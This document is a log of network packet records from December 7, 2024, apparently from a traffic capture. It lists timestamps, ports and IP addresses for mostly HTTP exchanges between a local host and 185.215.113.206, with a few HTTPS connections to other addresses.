Dec 7, 2024 00:15:51.443468094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.443510056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.444279909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.444415092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.444458961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.445282936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.445343971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.445404053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.445441961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.446127892 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.446135998 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.446329117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.446376085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.446408987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.446449995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.447295904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.447349072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.447412968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.447520971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.448306084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.448352098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.448399067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.448440075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.449263096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.449311018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.449347973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.449388027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.450280905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.450335979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.450402975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.450485945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.451257944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.451307058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.451354027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.451520920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.452178001 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.452183008 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.452253103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.452354908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.452395916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.453243017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.453288078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.453346968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.453414917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.454278946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.454324007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.454368114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.454404116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.455266953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.455317020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.455359936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.455441952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.456232071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.456334114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.456384897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.457250118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.457360029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.457401991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.458234072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.458271027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.458324909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.458359003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.459156990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.459218025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.507669926 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.507742882 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.507828951 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.512156010 CET	49839	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.512171984 CET	443	49839	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.516149998 CET	49853	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.516196966 CET	443	49853	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.516290903 CET	49853	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.516555071 CET	49853	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.516567945 CET	443	49853	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.599327087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.599361897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.599426031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.599642992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.599803925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.599842072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.599862099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.600645065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.600692987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.600744009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.600784063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.601639032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.601804972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.601804972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.601843119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.602662086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.602715015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.602751970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.602967978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.603619099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.603673935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.603720903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.603763103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.604614019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.604700089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.604716063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.604759932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.605608940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.605668068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.605736017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.605854988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.606607914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.606673956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.606794119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.606889009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.607593060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.607656956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.607695103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.607738018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.608608007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.608683109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.608711004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.608752012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.609599113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.609653950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.609695911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.609735966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.610584021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.610651016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.610718012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.610819101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.611614943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.611689091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.611712933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.611799955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.612591028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.612679005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.612700939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.612744093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.613589048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.613645077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.613687038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.613729000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.614584923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.614651918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.614675999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.614715099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.615555048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.615618944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.615650892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.615706921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.616549015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.616606951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.616648912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.616695881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.617556095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.617607117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.617681026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.617841959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.618545055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.618587971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.618649006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.618705034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.619524956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.619582891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.619623899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.619664907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.620521069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.620588064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.620629072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.620682001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.621510029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.621582985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.621615887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.621661901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.622562885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.622613907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.622628927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.622669935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.623512030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.623558044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.623606920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.623950005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.624505997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.624551058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.624639034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.624675035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.625494003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.625540018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.625602007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.625658035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.626487017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.626529932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.626595974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.626687050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.629861116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.629873037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.629894018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.629904985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.629911900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.629915953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.629931927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.629961967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.630006075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.630124092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.630924940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.631083012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.631093979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.631122112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.631886959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.632045031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.632056952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.632082939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.632859945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.632877111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.632915974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.633867025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.633881092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.633913994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.634833097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.634881020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.634978056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.635077953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.635667086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.635719061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.635971069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.636017084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.636842966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.636862040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.636893034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.636905909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.637835979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.637847900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.637887955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.638844013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.638891935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.639025927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.639069080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.639758110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.639806032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.639890909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.639951944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.640688896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.640733957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.640860081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.640902042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.641712904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.641833067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.641868114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.641902924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.642767906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.642828941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.642872095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.642908096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.643697023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.643857956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.643881083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.643910885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.644819021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.644861937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.645011902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.645049095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.645708084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.645750999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.645883083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.645922899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.646817923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.646831036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.646869898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.646882057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.647752047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.647789001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.647936106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.647988081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.648786068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.648798943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.648837090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.649388075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.649432898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.649507046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.649550915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.650358915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.650409937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.650505066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.650700092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.651309013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.651354074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.732808113 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.732831955 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.732846975 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.732867002 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.732876062 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.732903957 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.732947111 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.800971985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.801095009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.801099062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.801137924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.801450014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.801542044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.801594019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.802424908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.802484989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.802522898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.802563906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.803401947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.803447962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.803487062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.803576946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.804420948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.804466009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.804513931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.804554939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.805394888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.805500984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.805500031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.805555105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.806369066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.806417942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.806466103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.806643009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.807421923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.807468891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.807512999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.807678938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.808372974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.808485031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.808531046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.809365034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.809420109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.809587002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.809629917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.810362101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.810419083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.810467005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.810508966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.811450005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.811513901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.811682940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.811764002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.812360048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.812416077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.812637091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.812747002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.813426971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.813476086 CET	49823	80	192.168.2.6	185.215.113.206
